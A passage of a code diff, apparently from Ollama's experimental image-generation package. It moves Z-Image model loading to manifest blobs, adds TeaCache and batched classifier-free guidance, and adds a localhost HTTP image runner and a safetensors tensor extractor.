+	hIdx = mlx.BroadcastTo(hIdx, []int32{H, 2})
+	hIdx = mlx.Reshape(hIdx, H*2)
+
+	// For W dimension
+	wIdx := mlx.ArangeInt(0, W, 1, mlx.DtypeInt32)
+	wIdx = mlx.Reshape(wIdx, W, 1)
+	wIdx = mlx.BroadcastTo(wIdx, []int32{W, 2})
+	wIdx = mlx.Reshape(wIdx, W*2)
+
+	// Take along H axis (axis 1 in NHWC)
+	x = mlx.Take(x, hIdx, 1)
+	// Take along W axis (axis 2 in NHWC)
+	x = mlx.Take(x, wIdx, 2)
 
 	return x
 }

x/imagegen/models/zimage/zimage.go

@@ -6,9 +6,9 @@ package zimage
 import (
 	"context"
 	"fmt"
-	"path/filepath"
 	"time"
 
+	"github.com/ollama/ollama/x/imagegen"
 	"github.com/ollama/ollama/x/imagegen/cache"
 	"github.com/ollama/ollama/x/imagegen/mlx"
 	"github.com/ollama/ollama/x/imagegen/tokenizer"
@@ -26,10 +26,12 @@ type GenerateConfig struct {
 	Progress       ProgressFunc // Optional progress callback
 	CapturePath    string       // GPU capture path (debug)
 
-	// Layer caching options (speedup via shallow layer reuse)
-	LayerCache    bool // Enable layer caching (default: false)
-	CacheInterval int  // Refresh cache every N steps (default: 3)
-	CacheLayers   int  // Number of shallow layers to cache (default: 15)
+	// TeaCache options (timestep embedding aware caching)
+	TeaCache          bool    // TeaCache is always enabled for faster inference
+	TeaCacheThreshold float32 // Threshold for cache reuse (default: 0.1, lower = more aggressive)
+
+	// Fused QKV (fuse Q/K/V projections into single matmul)
+	FusedQKV bool // Enable fused QKV projection (default: false)
 }
 
 // ProgressFunc is called during generation with step progress.
@@ -37,16 +39,17 @@ type ProgressFunc func(step, totalSteps int)
 
 // Model represents a Z-Image diffusion model.
 type Model struct {
-	ModelPath   string
+	ModelName   string
 	Tokenizer   *tokenizer.Tokenizer
 	TextEncoder *Qwen3TextEncoder
 	Transformer *Transformer
 	VAEDecoder  *VAEDecoder
+	qkvFused    bool // Track if QKV has been fused (do only once)
 }
 
-// Load loads the Z-Image model from a directory.
-func (m *Model) Load(modelPath string) error {
-	fmt.Println("Loading Z-Image model...")
+// Load loads the Z-Image model from ollama blob storage.
+func (m *Model) Load(modelName string) error {
+	fmt.Printf("Loading Z-Image model from manifest: %s...\n", modelName)
 	start := time.Now()
 
 	if mlx.GPUIsAvailable() {
@@ -54,12 +57,34 @@ func (m *Model) Load(modelPath string) error {
 		mlx.EnableCompile()
 	}
 
-	m.ModelPath = modelPath
+	m.ModelName = modelName
 
-	// Load tokenizer
+	// Load manifest
+	manifest, err := imagegen.LoadManifest(modelName)
+	if err != nil {
+		return fmt.Errorf("load manifest: %w", err)
+	}
+
+	// Load tokenizer from manifest with config
 	fmt.Print("  Loading tokenizer... ")
-	tokenizerPath := filepath.Join(modelPath, "tokenizer", "tokenizer.json")
-	tok, err := tokenizer.Load(tokenizerPath)
+	tokData, err := manifest.ReadConfig("tokenizer/tokenizer.json")
+	if err != nil {
+		return fmt.Errorf("tokenizer: %w", err)
+	}
+
+	// Try to read tokenizer config files from manifest
+	tokConfig := &tokenizer.TokenizerConfig{}
+	if data, err := manifest.ReadConfig("tokenizer/tokenizer_config.json"); err == nil {
+		tokConfig.TokenizerConfigJSON = data
+	}
+	if data, err := manifest.ReadConfig("tokenizer/generation_config.json"); err == nil {
+		tokConfig.GenerationConfigJSON = data
+	}
+	if data, err := manifest.ReadConfig("tokenizer/special_tokens_map.json"); err == nil {
+		tokConfig.SpecialTokensMapJSON = data
+	}
+
+	tok, err := tokenizer.LoadFromBytesWithConfig(tokData, tokConfig)
 	if err != nil {
 		return fmt.Errorf("tokenizer: %w", err)
 	}
@@ -68,7 +93,7 @@ func (m *Model) Load(modelPath string) error {
 
 	// Load text encoder
 	m.TextEncoder = &Qwen3TextEncoder{}
-	if err := m.TextEncoder.Load(filepath.Join(modelPath, "text_encoder")); err != nil {
+	if err := m.TextEncoder.Load(manifest); err != nil {
 		return fmt.Errorf("text encoder: %w", err)
 	}
 	mlx.Eval(mlx.Collect(m.TextEncoder)...)
@@ -78,7 +103,7 @@ func (m *Model) Load(modelPath string) error {
 
 	// Load transformer
 	m.Transformer = &Transformer{}
-	if err := m.Transformer.Load(filepath.Join(modelPath, "transformer")); err != nil {
+	if err := m.Transformer.Load(manifest); err != nil {
 		return fmt.Errorf("transformer: %w", err)
 	}
 	mlx.Eval(mlx.Collect(m.Transformer)...)
@@ -88,7 +113,7 @@ func (m *Model) Load(modelPath string) error {
 
 	// Load VAE decoder
 	m.VAEDecoder = &VAEDecoder{}
-	if err := m.VAEDecoder.Load(filepath.Join(modelPath, "vae")); err != nil {
+	if err := m.VAEDecoder.Load(manifest); err != nil {
 		return fmt.Errorf("VAE decoder: %w", err)
 	}
 	mlx.Eval(mlx.Collect(m.VAEDecoder)...)
@@ -104,7 +129,7 @@ func (m *Model) Load(modelPath string) error {
 
 // Generate creates an image from a prompt.
 func (m *Model) Generate(prompt string, width, height int32, steps int, seed int64) (*mlx.Array, error) {
-	return m.GenerateFromConfig(&GenerateConfig{
+	return m.GenerateFromConfig(context.Background(), &GenerateConfig{
 		Prompt: prompt,
 		Width:  width,
 		Height: height,
@@ -115,7 +140,7 @@ func (m *Model) Generate(prompt string, width, height int32, steps int, seed int
 
 // GenerateWithProgress creates an image with progress callback.
 func (m *Model) GenerateWithProgress(prompt string, width, height int32, steps int, seed int64, progress ProgressFunc) (*mlx.Array, error) {
-	return m.GenerateFromConfig(&GenerateConfig{
+	return m.GenerateFromConfig(context.Background(), &GenerateConfig{
 		Prompt:   prompt,
 		Width:    width,
 		Height:   height,
@@ -127,7 +152,7 @@ func (m *Model) GenerateWithProgress(prompt string, width, height int32, steps i
 
 // GenerateWithCFG creates an image with classifier-free guidance.
 func (m *Model) GenerateWithCFG(prompt, negativePrompt string, width, height int32, steps int, seed int64, cfgScale float32, progress ProgressFunc) (*mlx.Array, error) {
-	return m.GenerateFromConfig(&GenerateConfig{
+	return m.GenerateFromConfig(context.Background(), &GenerateConfig{
 		Prompt:         prompt,
 		NegativePrompt: negativePrompt,
 		CFGScale:       cfgScale,
@@ -140,9 +165,9 @@ func (m *Model) GenerateWithCFG(prompt, negativePrompt string, width, height int
 }
 
 // GenerateFromConfig generates an image using the unified config struct.
-func (m *Model) GenerateFromConfig(cfg *GenerateConfig) (*mlx.Array, error) {
+func (m *Model) GenerateFromConfig(ctx context.Context, cfg *GenerateConfig) (*mlx.Array, error) {
 	start := time.Now()
-	result, err := m.generate(cfg)
+	result, err := m.generate(ctx, cfg)
 	if err != nil {
 		return nil, err
 	}
@@ -160,7 +185,7 @@ func (m *Model) GenerateImage(ctx context.Context, prompt string, width, height
 }
 
 // generate is the internal denoising pipeline.
-func (m *Model) generate(cfg *GenerateConfig) (*mlx.Array, error) {
+func (m *Model) generate(ctx context.Context, cfg *GenerateConfig) (*mlx.Array, error) {
 	// Apply defaults
 	if cfg.Width <= 0 {
 		cfg.Width = 1024
@@ -169,18 +194,22 @@ func (m *Model) generate(cfg *GenerateConfig) (*mlx.Array, error) {
 		cfg.Height = 1024
 	}
 	if cfg.Steps <= 0 {
-		cfg.Steps = 9 // Turbo default
+		cfg.Steps = 9 // Z-Image turbo default
 	}
 	if cfg.CFGScale <= 0 {
 		cfg.CFGScale = 4.0
 	}
-	if cfg.LayerCache {
-		if cfg.CacheInterval <= 0 {
-			cfg.CacheInterval = 3
-		}
-		if cfg.CacheLayers <= 0 {
-			cfg.CacheLayers = 15 // Half of 30 layers
-		}
+	// TeaCache enabled by default
+	cfg.TeaCache = true
+	if cfg.TeaCacheThreshold <= 0 {
+		cfg.TeaCacheThreshold = 0.15
+	}
+
+	// Enable fused QKV if requested (only fuse once)
+	if cfg.FusedQKV && !m.qkvFused {
+		m.Transformer.FuseAllQKV()
+		m.qkvFused = true
+		fmt.Println("  Fused QKV enabled")
 	}
 
 	useCFG := cfg.NegativePrompt != ""
@@ -238,20 +267,71 @@ func (m *Model) generate(cfg *GenerateConfig) (*mlx.Array, error) {
 		mlx.Eval(ropeCache.UnifiedCos)
 	}
 
-	// Step cache for shallow layer reuse (DeepCache/Learning-to-Cache style)
-	var stepCache *cache.StepCache
-	if cfg.LayerCache {
-		stepCache = cache.NewStepCache(cfg.CacheLayers)
-		fmt.Printf("  Layer caching enabled: %d layers, refresh every %d steps\n",
-			cfg.CacheLayers, cfg.CacheInterval)
+	// Pre-compute batched embeddings for CFG (outside the loop for efficiency)
+	var batchedEmb *mlx.Array
+	if useCFG {
+		// Concatenate embeddings once: [1, L, D] + [1, L, D] -> [2, L, D]
+		batchedEmb = mlx.Concatenate([]*mlx.Array{posEmb, negEmb}, 0)
+		mlx.Keep(batchedEmb)
+		mlx.Eval(batchedEmb)
+	}
+
+	// TeaCache for timestep-aware caching
+	// For CFG mode, we cache pos/neg separately, skip early steps, and always compute CFG fresh
+	var teaCache *cache.TeaCache
+	if cfg.TeaCache {
+		skipEarly := 0
+		if useCFG {
+			skipEarly = 3 // Skip first 3 steps for CFG to preserve structure
+		}
+		teaCache = cache.NewTeaCache(&cache.TeaCacheConfig{
+			Threshold:      cfg.TeaCacheThreshold,
+			RescaleFactor:  1.0,
+			SkipEarlySteps: skipEarly,
+		})
+		if useCFG {
+			fmt.Printf("  TeaCache enabled (CFG mode): threshold=%.2f, skip first %d steps\n", cfg.TeaCacheThreshold, skipEarly)
+		} else {
+			fmt.Printf("  TeaCache enabled: threshold=%.2f\n", cfg.TeaCacheThreshold)
+		}
+	}
+
+	// cleanup frees all kept arrays when we need to abort early
+	cleanup := func() {
+		posEmb.Free()
+		if negEmb != nil {
+			negEmb.Free()
+		}
+		ropeCache.ImgCos.Free()
+		ropeCache.ImgSin.Free()
+		ropeCache.CapCos.Free()
+		ropeCache.CapSin.Free()
+		ropeCache.UnifiedCos.Free()
+		ropeCache.UnifiedSin.Free()
+		if batchedEmb != nil {
+			batchedEmb.Free()
+		}
+		if teaCache != nil {
+			teaCache.Free()
+		}
+		latents.Free()
 	}
 
 	// Denoising loop
+	if cfg.Progress != nil {
+		cfg.Progress(0, cfg.Steps) // Start at 0%
+	}
 	for i := 0; i < cfg.Steps; i++ {
-		stepStart := time.Now()
-		if cfg.Progress != nil {
-			cfg.Progress(i+1, cfg.Steps)
+		// Check for cancellation
+		if ctx != nil {
+			select {
+			case <-ctx.Done():
+				cleanup()
+				return nil, ctx.Err()
+			default:
+			}
 		}
+		stepStart := time.Now()
 
 		// GPU capture on step 2 if requested
 		if cfg.CapturePath != "" && i == 1 {
@@ -259,49 +339,77 @@ func (m *Model) generate(cfg *GenerateConfig) (*mlx.Array, error) {
 		}
 
 		tCurr := scheduler.Timesteps[i]
-		timestep := mlx.ToBFloat16(mlx.NewArray([]float32{1.0 - tCurr}, []int32{1}))
+		var noisePred *mlx.Array
 
-		patches := PatchifyLatents(latents, tcfg.PatchSize)
+		// TeaCache: check if we should compute or reuse cached output
+		shouldCompute := teaCache == nil || teaCache.ShouldCompute(i, tCurr)
 
-		var output *mlx.Array
-		if stepCache != nil {
-			// Use layer caching for faster inference
+		if shouldCompute {
+			timestep := mlx.ToBFloat16(mlx.NewArray([]float32{1.0 - tCurr}, []int32{1}))
+			patches := PatchifyLatents(latents, tcfg.PatchSize)
+
+			var output *mlx.Array
 			if useCFG {
-				posOutput := m.Transformer.ForwardWithCache(patches, timestep, posEmb, ropeCache,
-					stepCache, i, cfg.CacheInterval)
-				// Note: CFG with layer cache shares the cache between pos/neg
-				// This is approximate but fast - neg prompt uses same cached shallow layers
-				negOutput := m.Transformer.ForwardWithCache(patches, timestep, negEmb, ropeCache,
-					stepCache, i, cfg.CacheInterval)
-				diff := mlx.Sub(posOutput, negOutput)
+				// CFG Batching: single forward pass with batch=2
+				// Tile patches: [1, L, D] -> [2, L, D]
+				batchedPatches := mlx.Tile(patches, []int32{2, 1, 1})
+				// Tile timestep: [1] -> [2]
+				batchedTimestep := mlx.Tile(timestep, []int32{2})
+
+				// Single batched forward pass (RoPE broadcasts from [1,L,H,D] to [2,L,H,D])
+				batchedOutput := m.Transformer.Forward(batchedPatches, batchedTimestep, batchedEmb, ropeCache)
+
+				// Split output: [2, L, D] -> pos [1, L, D], neg [1, L, D]
+				outputShape := batchedOutput.Shape()
+				L := outputShape[1]
+				D := outputShape[2]
+				posOutput := mlx.Slice(batchedOutput, []int32{0, 0, 0}, []int32{1, L, D})
+				negOutput := mlx.Slice(batchedOutput, []int32{1, 0, 0}, []int32{2, L, D})
+
+				// Convert to noise predictions (unpatchify and negate)
+				posPred := UnpatchifyLatents(posOutput, tcfg.PatchSize, latentH, latentW, tcfg.InChannels)
+				posPred = mlx.Neg(posPred)
+				negPred := UnpatchifyLatents(negOutput, tcfg.PatchSize, latentH, latentW, tcfg.InChannels)
+				negPred = mlx.Neg(negPred)
+
+				// Cache pos/neg separately for TeaCache
+				if teaCache != nil {
+					teaCache.UpdateCFGCache(posPred, negPred, tCurr)
+					mlx.Keep(teaCache.Arrays()...)
+				}
+
+				// Apply CFG: noisePred = neg + scale * (pos - neg)
+				diff := mlx.Sub(posPred, negPred)
 				scaledDiff := mlx.MulScalar(diff, cfg.CFGScale)
-				output = mlx.Add(negOutput, scaledDiff)
-			} else {
-				output = m.Transformer.ForwardWithCache(patches, timestep, posEmb, ropeCache,
-					stepCache, i, cfg.CacheInterval)
-			}
-		} else {
-			// Standard forward without caching
-			if useCFG {
-				posOutput := m.Transformer.Forward(patches, timestep, posEmb, ropeCache)
-				negOutput := m.Transformer.Forward(patches, timestep, negEmb, ropeCache)
-				diff := mlx.Sub(posOutput, negOutput)
-				scaledDiff := mlx.MulScalar(diff, cfg.CFGScale)
-				output = mlx.Add(negOutput, scaledDiff)
+				noisePred = mlx.Add(negPred, scaledDiff)
 			} else {
+				// Non-CFG forward pass
 				output = m.Transformer.Forward(patches, timestep, posEmb, ropeCache)
+				noisePred = UnpatchifyLatents(output, tcfg.PatchSize, latentH, latentW, tcfg.InChannels)
+				noisePred = mlx.Neg(noisePred)
+
+				// Update TeaCache
+				if teaCache != nil {
+					teaCache.UpdateCache(noisePred, tCurr)
+					mlx.Keep(teaCache.Arrays()...)
+				}
 			}
+		} else if useCFG && teaCache != nil && teaCache.HasCFGCache() {
+			// CFG mode: get cached pos/neg and compute CFG fresh
+			posPred, negPred := teaCache.GetCFGCached()
+			diff := mlx.Sub(posPred, negPred)
+			scaledDiff := mlx.MulScalar(diff, cfg.CFGScale)
+			noisePred = mlx.Add(negPred, scaledDiff)
+			fmt.Printf("    [TeaCache: reusing cached pos/neg outputs]\n")
+		} else {
+			// Non-CFG mode: reuse cached noise prediction
+			noisePred = teaCache.GetCached()
+			fmt.Printf("    [TeaCache: reusing cached output]\n")
 		}
 
-		noisePred := UnpatchifyLatents(output, tcfg.PatchSize, latentH, latentW, tcfg.InChannels)
-		noisePred = mlx.Neg(noisePred)
 		oldLatents := latents
 		latents = scheduler.Step(noisePred, latents, i)
 
-		// Keep latents and any cached arrays
-		if stepCache != nil {
-			mlx.Keep(stepCache.Arrays()...)
-		}
 		mlx.Eval(latents)
 		oldLatents.Free()
 
@@ -313,6 +421,10 @@ func (m *Model) generate(cfg *GenerateConfig) (*mlx.Array, error) {
 		peakMem := float64(mlx.MetalGetPeakMemory()) / (1024 * 1024 * 1024)
 		fmt.Printf("  Step %d/%d: t=%.4f (%.2fs) [%.1f GB active, %.1f GB peak]\n",
 			i+1, cfg.Steps, tCurr, time.Since(stepStart).Seconds(), activeMem, peakMem)
+
+		if cfg.Progress != nil {
+			cfg.Progress(i+1, cfg.Steps) // Report completed step
+		}
 	}
 
 	// Free denoising temporaries before VAE decode
@@ -326,8 +438,14 @@ func (m *Model) generate(cfg *GenerateConfig) (*mlx.Array, error) {
 	ropeCache.CapSin.Free()
 	ropeCache.UnifiedCos.Free()
 	ropeCache.UnifiedSin.Free()
-	if stepCache != nil {
-		stepCache.Free()
+	if batchedEmb != nil {
+		batchedEmb.Free()
+	}
+	if teaCache != nil {
+		hits, misses := teaCache.Stats()
+		fmt.Printf("  TeaCache stats: %d hits, %d misses (%.1f%% cache rate)\n",
+			hits, misses, float64(hits)/float64(hits+misses)*100)
+		teaCache.Free()
 	}
 
 	// VAE decode

x/imagegen/nn/nn.go

@@ -10,6 +10,13 @@ type Layer interface {
 	Forward(x *mlx.Array) *mlx.Array
 }
 
+// LinearLayer is an interface for linear layers (both regular and quantized).
+// This allows swapping between Linear and QuantizedLinear at runtime.
+type LinearLayer interface {
+	Forward(x *mlx.Array) *mlx.Array
+	OutputDim() int32 // Returns the output dimension of the layer
+}
+
 // Linear applies an affine transformation: y = x @ W.T + b
 // Weight is stored as [out_features, in_features], matching PyTorch/MLX convention.
 type Linear struct {
@@ -49,6 +56,11 @@ func (l *Linear) Forward(x *mlx.Array) *mlx.Array {
 	return mlx.Linear(x, w)
 }
 
+// OutputDim returns the output dimension of the linear layer.
+func (l *Linear) OutputDim() int32 {
+	return l.Weight.Shape()[0]
+}
+
 // ToQuantized converts this Linear to a QuantizedLinear.
 func (l *Linear) ToQuantized(groupSize, bits int, mode string) *QuantizedLinear {
 	qw, scales, qbiases := mlx.Quantize(l.Weight, groupSize, bits, mode)
@@ -84,6 +96,13 @@ func (ql *QuantizedLinear) Forward(x *mlx.Array) *mlx.Array {
 	return out
 }
 
+// OutputDim returns the output dimension of the quantized linear layer.
+// For mxfp8/mxfp4, quantized weight shape is [out_features, in_features / group_size].
+// The output dimension is the first dimension of the weight.
+func (ql *QuantizedLinear) OutputDim() int32 {
+	return ql.Weight.Shape()[0]
+}
+
 // RMSNorm represents an RMS normalization layer.
 type RMSNorm struct {
 	Weight *mlx.Array `weight:"weight"`

x/imagegen/runner/runner.go

@@ -0,0 +1,210 @@
+//go:build mlx
+
+// Package runner provides a subprocess server for image generation.
+// It listens on a port and handles HTTP requests for image generation.
+package runner
+
+import (
+	"context"
+	"encoding/json"
+	"flag"
+	"fmt"
+	"log/slog"
+	"net/http"
+	"os"
+	"os/signal"
+	"sync"
+	"syscall"
+	"time"
+
+	"github.com/ollama/ollama/x/imagegen"
+	"github.com/ollama/ollama/x/imagegen/mlx"
+	"github.com/ollama/ollama/x/imagegen/models/zimage"
+)
+
+// Request is the image generation request format
+type Request struct {
+	Prompt string `json:"prompt"`
+	Width  int32  `json:"width,omitempty"`
+	Height int32  `json:"height,omitempty"`
+	Steps  int    `json:"steps,omitempty"`
+	Seed   int64  `json:"seed,omitempty"`
+}
+
+// Response is streamed back for each progress update
+type Response struct {
+	Content string `json:"content,omitempty"`
+	Image   string `json:"image,omitempty"` // Base64-encoded PNG
+	Done    bool   `json:"done"`
+}
+
+// Server holds the model and handles requests
+type Server struct {
+	mu        sync.Mutex
+	model     *zimage.Model
+	modelName string
+}
+
+// Execute is the entry point for the image runner subprocess
+func Execute(args []string) error {
+	fs := flag.NewFlagSet("image-runner", flag.ExitOnError)
+	modelName := fs.String("model", "", "path to image model")
+	port := fs.Int("port", 0, "port to listen on")
+
+	if err := fs.Parse(args); err != nil {
+		return err
+	}
+
+	if *modelName == "" {
+		return fmt.Errorf("--model is required")
+	}
+	if *port == 0 {
+		return fmt.Errorf("--port is required")
+	}
+
+	slog.Info("starting image runner", "model", *modelName, "port", *port)
+
+	// Check memory requirements before loading
+	requiredMemory := imagegen.EstimateVRAM(*modelName)
+	availableMemory := mlx.GetMemoryLimit()
+	if availableMemory > 0 && availableMemory < requiredMemory {
+		return fmt.Errorf("insufficient memory for image generation: need %d GB, have %d GB",
+			requiredMemory/(1024*1024*1024), availableMemory/(1024*1024*1024))
+	}
+
+	// Load model
+	model := &zimage.Model{}
+	if err := model.Load(*modelName); err != nil {
+		return fmt.Errorf("failed to load model: %w", err)
+	}
+
+	server := &Server{
+		model:     model,
+		modelName: *modelName,
+	}
+
+	// Set up HTTP handlers
+	mux := http.NewServeMux()
+	mux.HandleFunc("/health", server.healthHandler)
+	mux.HandleFunc("/completion", server.completionHandler)
+
+	httpServer := &http.Server{
+		Addr:    fmt.Sprintf("127.0.0.1:%d", *port),
+		Handler: mux,
+	}
+
+	// Handle shutdown
+	done := make(chan struct{})
+	go func() {
+		sigCh := make(chan os.Signal, 1)
+		signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
+		<-sigCh
+		slog.Info("shutting down image runner")
+		ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+		defer cancel()
+		httpServer.Shutdown(ctx)
+		close(done)
+	}()
+
+	slog.Info("image runner listening", "addr", httpServer.Addr)
+	if err := httpServer.ListenAndServe(); err != http.ErrServerClosed {
+		return err
+	}
+
+	<-done
+	return nil
+}
+
+func (s *Server) healthHandler(w http.ResponseWriter, r *http.Request) {
+	w.WriteHeader(http.StatusOK)
+	json.NewEncoder(w).Encode(map[string]string{"status": "ok"})
+}
+
+func (s *Server) completionHandler(w http.ResponseWriter, r *http.Request) {
+	if r.Method != http.MethodPost {
+		http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
+		return
+	}
+
+	var req Request
+	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
+		http.Error(w, err.Error(), http.StatusBadRequest)
+		return
+	}
+
+	// Serialize generation requests - MLX model may not handle concurrent generation
+	s.mu.Lock()
+	defer s.mu.Unlock()
+
+	// Model applies its own defaults for width/height/steps
+	// Only seed needs to be set here if not provided
+	if req.Seed <= 0 {
+		req.Seed = time.Now().UnixNano()
+	}
+
+	// Set up streaming response
+	w.Header().Set("Content-Type", "application/x-ndjson")
+	w.Header().Set("Transfer-Encoding", "chunked")
+	flusher, ok := w.(http.Flusher)
+	if !ok {
+		http.Error(w, "streaming not supported", http.StatusInternalServerError)
+		return
+	}
+
+	// Generate image
+	ctx := r.Context()
+	img, err := s.model.GenerateFromConfig(ctx, &zimage.GenerateConfig{
+		Prompt: req.Prompt,
+		Width:  req.Width,
+		Height: req.Height,
+		Steps:  req.Steps,
+		Seed:   req.Seed,
+		Progress: func(step, total int) {
+			resp := Response{
+				Content: fmt.Sprintf("\rGenerating: step %d/%d", step, total),
+				Done:    false,
+			}
+			data, _ := json.Marshal(resp)
+			w.Write(data)
+			w.Write([]byte("\n"))
+			flusher.Flush()
+		},
+	})
+
+	if err != nil {
+		// Don't send error for cancellation
+		if ctx.Err() != nil {
+			return
+		}
+		resp := Response{Content: fmt.Sprintf("error: %v", err), Done: true}
+		data, _ := json.Marshal(resp)
+		w.Write(data)
+		w.Write([]byte("\n"))
+		return
+	}
+
+	// Encode image as base64 PNG
+	imageData, err := imagegen.EncodeImageBase64(img)
+	if err != nil {
+		resp := Response{Content: fmt.Sprintf("error encoding: %v", err), Done: true}
+		data, _ := json.Marshal(resp)
+		w.Write(data)
+		w.Write([]byte("\n"))
+		return
+	}
+
+	// Free the generated image array and clean up MLX state
+	img.Free()
+	mlx.ClearCache()
+	mlx.MetalResetPeakMemory()
+
+	// Send final response with image data
+	resp := Response{
+		Image: imageData,
+		Done:  true,
+	}
+	data, _ := json.Marshal(resp)
+	w.Write(data)
+	w.Write([]byte("\n"))
+	flusher.Flush()
+}

x/imagegen/runner/runner_stub.go

@@ -0,0 +1,10 @@
+//go:build !mlx
+
+package runner
+
+import "errors"
+
+// Execute returns an error when not built with MLX support.
+func Execute(args []string) error {
+	return errors.New("image generation not available: build with mlx tag")
+}

x/imagegen/safetensors/extractor.go

@@ -0,0 +1,176 @@
+package safetensors
+
+import (
+	"bytes"
+	"encoding/binary"
+	"encoding/json"
+	"fmt"
+	"io"
+	"os"
+	"sort"
+)
+
+// tensorInfo holds tensor metadata from safetensors headers.
+// This avoids depending on safetensors.go which requires the mlx tag.
+type tensorInfo struct {
+	Dtype       string  `json:"dtype"`
+	Shape       []int32 `json:"shape"`
+	DataOffsets [2]int  `json:"data_offsets"`
+}
+
+// TensorExtractor extracts individual tensors from a safetensors file.
+// It provides io.Reader interfaces for each tensor's raw data, enabling
+// streaming writes to blobs without loading entire tensors into memory.
+type TensorExtractor struct {
+	file       *os.File
+	dataOffset int64 // Start of tensor data region
+	header     map[string]tensorInfo
+}
+
+// TensorData holds tensor metadata and a reader for its raw bytes.
+type TensorData struct {
+	Name   string
+	Dtype  string
+	Shape  []int32
+	Size   int64
+	reader *io.SectionReader
+}
+
+// Reader returns an io.Reader for the tensor's raw bytes.
+func (td *TensorData) Reader() io.Reader {
+	return td.reader
+}
+
+// SafetensorsReader returns a reader that outputs the tensor wrapped in
+// minimal safetensors format. This allows using mlx_load_safetensors on
+// individual tensor blobs for native zero-copy loading.
+func (td *TensorData) SafetensorsReader() io.Reader {
+	// Build minimal safetensors header with tensor named "data"
+	header := map[string]tensorInfo{
+		"data": {
+			Dtype:       td.Dtype,
+			Shape:       td.Shape,
+			DataOffsets: [2]int{0, int(td.Size)},
+		},
+	}
+	headerJSON, _ := json.Marshal(header)
+
+	// Pad header to 8-byte alignment
+	padding := (8 - len(headerJSON)%8) % 8
+	headerJSON = append(headerJSON, bytes.Repeat([]byte(" "), padding)...)
+
+	// Build header with size prefix
+	headerBuf := new(bytes.Buffer)
+	binary.Write(headerBuf, binary.LittleEndian, uint64(len(headerJSON)))
+	headerBuf.Write(headerJSON)
+
+	// Return multi-reader: header + tensor data
+	td.reader.Seek(0, io.SeekStart)
+	return io.MultiReader(headerBuf, td.reader)
+}
+
+// SafetensorsSize returns the total size of the safetensors-wrapped tensor.
+func (td *TensorData) SafetensorsSize() int64 {
+	header := map[string]tensorInfo{
+		"data": {
+			Dtype:       td.Dtype,
+			Shape:       td.Shape,
+			DataOffsets: [2]int{0, int(td.Size)},
+		},
+	}
+	headerJSON, _ := json.Marshal(header)
+	padding := (8 - len(headerJSON)%8) % 8
+	return 8 + int64(len(headerJSON)) + int64(padding) + td.Size
+}
+
+// OpenForExtraction opens a safetensors file for tensor extraction.
+// The caller must call Close() when done.
+func OpenForExtraction(path string) (*TensorExtractor, error) {
+	f, err := os.Open(path)
+	if err != nil {
+		return nil, fmt.Errorf("failed to open file: %w", err)
+	}
+
+	var headerSize uint64
+	if err := binary.Read(f, binary.LittleEndian, &headerSize); err != nil {
+		f.Close()
+		return nil, fmt.Errorf("failed to read header size: %w", err)
+	}
+
+	headerBytes := make([]byte, headerSize)
+	if _, err := f.Read(headerBytes); err != nil {
+		f.Close()
+		return nil, fmt.Errorf("failed to read header: %w", err)
+	}
+
+	var header map[string]tensorInfo
+	if err := json.Unmarshal(headerBytes, &header); err != nil {
+		f.Close()
+		return nil, fmt.Errorf("failed to parse header: %w", err)
+	}
+
+	delete(header, "__metadata__")
+
+	return &TensorExtractor{
+		file:       f,
+		dataOffset: 8 + int64(headerSize), // 8 bytes for header size + header content
+		header:     header,
+	}, nil
+}
+
+// GetTensor returns tensor metadata and a reader for extracting a single tensor.
+func (te *TensorExtractor) GetTensor(name string) (*TensorData, error) {
+	info, ok := te.header[name]
+	if !ok {
+		return nil, fmt.Errorf("tensor %q not found", name)
+	}
+
+	start := te.dataOffset + int64(info.DataOffsets[0])
+	size := int64(info.DataOffsets[1] - info.DataOffsets[0])
+
+	return &TensorData{
+		Name:   name,
+		Dtype:  info.Dtype,
+		Shape:  info.Shape,
+		Size:   size,
+		reader: io.NewSectionReader(te.file, start, size),
+	}, nil
+}
+
+// ListTensors returns all tensor names in sorted order.
+func (te *TensorExtractor) ListTensors() []string {
+	names := make([]string, 0, len(te.header))
+	for name := range te.header {
+		names = append(names, name)
+	}
+	sort.Strings(names)
+	return names
+}
+
+// TensorCount returns the number of tensors in the file.
+func (te *TensorExtractor) TensorCount() int {
+	return len(te.header)
+}
+
+// Close closes the underlying file.
+func (te *TensorExtractor) Close() error {
+	return te.file.Close()
+}
+
+// ExtractAll returns TensorData for all tensors in the file.
+// Each TensorData has a reader that reads from the original file.
+// The caller must call Close() on the TensorExtractor when done.
+func (te *TensorExtractor) ExtractAll() ([]*TensorData, error) {
+	names := te.ListTensors()
+	tensors := make([]*TensorData, 0, len(names))
+
+	for _, name := range names {
+		td, err := te.GetTensor(name)
+		if err != nil {
+			return nil, err
+		}
+		tensors = append(tensors, td)
+	}
+
+	return tensors, nil
+}

x/imagegen/safetensors/loader.go

@@ -8,8 +8,17 @@ import (
 	"strings"
 
 	"github.com/ollama/ollama/x/imagegen/mlx"
+	"github.com/ollama/ollama/x/imagegen/nn"
 )
 
+// WeightSource is an interface for loading weights.
+// Both ModelWeights (directory-based) and ManifestWeights (blob-based) implement this.
+type WeightSource interface {
+	GetTensor(name string) (*mlx.Array, error)
+	ListTensors() []string
+	HasTensor(name string) bool
+}
+
 // LoadModule loads weights into a struct using reflection and struct tags.
 //
 // Struct tags use the format: `weight:"path[,optional]"`
@@ -31,7 +40,7 @@ import (
 //	}
 //
 //	err := LoadModule(&attn, weights, "model.layers.0")
-func LoadModule(dst any, weights *ModelWeights, prefix string) error {
+func LoadModule(dst any, weights WeightSource, prefix string) error {
 	v := reflect.ValueOf(dst)
 	if v.Kind() != reflect.Ptr || v.IsNil() {
 		return fmt.Errorf("LoadModule: dst must be a non-nil pointer")
@@ -51,7 +60,7 @@ func LoadModule(dst any, weights *ModelWeights, prefix string) error {
 }
 
 // loadStruct recursively loads weights into a struct value.
-func loadStruct(v reflect.Value, weights *ModelWeights, prefix string, errs *[]string, parentOptional bool) {
+func loadStruct(v reflect.Value, weights WeightSource, prefix string, errs *[]string, parentOptional bool) {
 	t := v.Type()
 
 	for i := 0; i < t.NumField(); i++ {
@@ -94,6 +103,22 @@ func loadStruct(v reflect.Value, weights *ModelWeights, prefix string, errs *[]s
 			}
 		}
 
+		// Handle nn.LinearLayer interface fields specially
+		if field.Type == reflect.TypeOf((*nn.LinearLayer)(nil)).Elem() {
+			if !hasTag {
+				continue // no tag = skip
+			}
